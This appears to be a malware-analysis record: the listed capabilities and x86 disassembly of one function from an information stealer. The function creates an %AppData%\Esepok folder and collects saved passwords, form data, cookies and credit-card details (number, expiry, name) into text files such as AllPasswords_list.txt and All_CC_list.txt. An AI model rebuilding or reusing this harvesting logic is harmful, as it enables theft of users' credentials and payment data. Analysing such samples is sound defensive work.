Function at 0x40b99b
Capabilities:
Create directory
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x344
mov eax, dword [0x4c3014]
xor eax, esp
mov dword [esp + 0x340], eax
push ebx
push esi
push edi
call fcn.0040f3b9
call fcn.0040f61c
push 0x104
lea eax, [esp + 0x144]
push eax
push str._AppData_Esepok
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
xor esi, esi
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
lea ecx, [esp + 0x140]
call fcn.0040ded0
test al, al
je 0x40b9fd
call fcn.0040e29e
jmp 0x40bfa1
push esi
lea eax, [esp + 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x3200000
call fcn.00484ab0
mov ebx, eax
mov ecx, ebx
call fcn.00466097
pop ecx
mov dword [0x4c6a48], eax
call fcn.00409e95
call fcn.004039f8
call fcn.00406ca4
call fcn.0040e439
call fcn.0040eb73
call fcn.0040e7f9
push ecx
push ecx
lea ecx, [esp + 0x20]
call fcn.004041e9
call fcn.0040bfd3
mov edi, eax
call fcn.0040bfd9
mov esi, eax
jmp 0x40bb17
push esi
lea ecx, [esp + 0xe4]
call fcn.004060b1
mov edx, str.Soft:
lea ecx, [esp + 0x28]
call fcn.00405492
lea edx, [esp + 0xe0]
mov ecx, eax
call fcn.00405619
mov edx, 0x4b0294
mov ecx, eax
call fcn.00405492
mov edx, str.Site:
mov ecx, eax
call fcn.00405492
lea edx, [esp + 0xf8]
mov ecx, eax
call fcn.00405619
mov edx, 0x4b0294
mov ecx, eax
call fcn.00405492
mov edx, str.Username:
mov ecx, eax
call fcn.00405492
lea edx, [esp + 0x110]
mov ecx, eax
call fcn.00405619
mov edx, 0x4b0294
mov ecx, eax
call fcn.00405492
mov edx, str.Password:
mov ecx, eax
call fcn.00405492
lea edx, [esp + 0x128]
mov ecx, eax
call fcn.00405619
mov edx, str._r_n_r_n
mov ecx, eax
call fcn.00405492
lea ecx, [esp + 0xe0]
call fcn.00402264
add esi, 0x60
cmp esi, edi
jne 0x40ba61
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
lea ecx, [esp + 0xc8]
mov esi, eax
call fcn.004049a3
test esi, esi
je 0x40bb9f
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
push eax
lea eax, [esp + 0xcc]
push eax
lea ecx, [esp + 0x20]
call fcn.00404140
mov ecx, eax
call fcn.0040495f
push eax
mov edx, str._AllPasswords_list.txt
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [esp + 0xc8]
call fcn.004049a3
lea ecx, [esp + 0xe0]
call fcn.004049a3
push 0x4b015b
lea ecx, [esp + 0xcc]
call fcn.004049d6
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.0040bfdf
lea ecx, [esp + 0xc8]
call fcn.004049a3
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
push 0
push 0
mov eax, dword [eax + 4]
add ecx, eax
call fcn.0040535b
call fcn.0040bfc7
mov edi, eax
call fcn.0040bfcd
mov esi, eax
jmp 0x40bc45
push esi
lea ecx, [esp + 0xe4]
call fcn.00406019
lea edx, [esp + 0xe0]
lea ecx, [esp + 0x28]
call fcn.00405619
mov edx, str.______
mov ecx, eax
call fcn.00405492
lea edx, [esp + 0xf8]
mov ecx, eax
call fcn.00405619
mov edx, 0x4b0294
mov ecx, eax
call fcn.00405492
lea ecx, [esp + 0xe0]
call fcn.004027ff
add esi, 0x30
cmp esi, edi
jne 0x40bbf3
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
lea ecx, [esp + 0xe0]
mov esi, eax
call fcn.004049a3
test esi, esi
je 0x40bcc9
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
push eax
lea eax, [esp + 0xe4]
push eax
lea ecx, [esp + 0x20]
call fcn.00404140
mov ecx, eax
call fcn.0040495f
push eax
mov edx, str._AllForms_list.txt
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [esp + 0xe0]
call fcn.004049a3
lea ecx, [esp + 0xc8]
call fcn.004049a3
push 0x4b015b
lea ecx, [esp + 0xcc]
call fcn.004049d6
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.0040bfdf
lea ecx, [esp + 0xc8]
call fcn.004049a3
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
push 0
push 0
mov eax, dword [eax + 4]
add ecx, eax
call fcn.0040535b
call fcn.0040bfbb
mov edi, eax
call fcn.0040bfc1
mov esi, eax
jmp 0x40bd49
push esi
lea ecx, [esp + 0xcc]
call fcn.004049f6
lea edx, [esp + 0xc8]
lea ecx, [esp + 0x28]
call fcn.00405619
lea ecx, [esp + 0xc8]
call fcn.004049a3
add esi, 0x18
cmp esi, edi
jne 0x40bd1d
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
lea ecx, [esp + 0xe0]
mov esi, eax
call fcn.004049a3
test esi, esi
je 0x40bdcd
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
push eax
lea eax, [esp + 0xe4]
push eax
lea ecx, [esp + 0x20]
call fcn.00404140
mov ecx, eax
call fcn.0040495f
push eax
mov edx, str._AllCookies_list.txt
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [esp + 0xe0]
call fcn.004049a3
lea ecx, [esp + 0xc8]
call fcn.004049a3
push 0x4b015b
lea ecx, [esp + 0xcc]
call fcn.004049d6
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.0040bfdf
lea ecx, [esp + 0xc8]
call fcn.004049a3
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
push 0
push 0
mov eax, dword [eax + 4]
add ecx, eax
call fcn.0040535b
call fcn.0040bfaf
mov edi, eax
call fcn.0040bfb5
mov esi, eax
jmp 0x40be99
push esi
lea ecx, [esp + 0xe4]
call fcn.0040605a
mov edx, str.Number:
lea ecx, [esp + 0x28]
call fcn.00405492
lea edx, [esp + 0x110]
mov ecx, eax
call fcn.00405619
mov edx, str._nMM_YY:
mov ecx, eax
call fcn.00405492
lea edx, [esp + 0xf8]
mov ecx, eax
call fcn.00405619
mov edx, str._nName:
mov ecx, eax
call fcn.00405492
lea edx, [esp + 0x110]
mov ecx, eax
call fcn.00405619
mov edx, 0x4b0294
mov ecx, eax
call fcn.00405492
lea ecx, [esp + 0xe0]
call fcn.00402702
add esi, 0x48
cmp esi, edi
jne 0x40be21
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
lea ecx, [esp + 0xe0]
mov esi, eax
call fcn.004049a3
test esi, esi
je 0x40bf1d
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.00404140
mov ecx, eax
call fcn.0040495b
push eax
lea eax, [esp + 0xe4]
push eax
lea ecx, [esp + 0x20]
call fcn.00404140
mov ecx, eax
call fcn.0040495f
push eax
mov edx, str._All_CC_list.txt
call fcn.004660ee
pop ecx
pop ecx
lea ecx, [esp + 0xe0]
call fcn.004049a3
lea ecx, [esp + 0xc8]
call fcn.004049a3
push 0x4b015b
lea ecx, [esp + 0xcc]
call fcn.004049d6
lea eax, [esp + 0xc8]
push eax
lea ecx, [esp + 0x1c]
call fcn.0040bfdf
lea ecx, [esp + 0xc8]
call fcn.004049a3
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
xor esi, esi
push esi
push esi
mov eax, dword [eax + 4]
add ecx, eax
call fcn.0040535b
call fcn.0040f7c0
call fcn.0040b8df
lea eax, [esp + 0x14]
mov dword [esp + 0x10], esi
push eax
lea edx, [esp + 0x14]
call fcn.0046610b
mov edx, dword [esp + 0x14]
pop ecx
push dword [esp + 0x14]
call fcn.0040df86
pop ecx
call fcn.0046617f
push ebx
call fcn.00484888
pop ecx
lea ecx, [esp + 0x18]
call fcn.004024a2
call dword [sym.imp.ole32.dll_CoUninitialize]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]